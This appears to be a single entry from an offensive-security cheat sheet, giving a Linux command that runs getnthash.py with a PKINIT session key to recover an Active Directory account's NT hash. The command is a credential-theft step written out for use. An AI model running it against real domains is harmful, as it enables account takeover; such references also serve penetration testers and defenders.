Recover the NT hash of an account from the PKINIT session key returned by gettgtpkinit
Command: Linux copy
export KRB5CCNAME=out.ccache uv run getnthash.py -key $ASREPKEY $DOMAIN/$USER
References: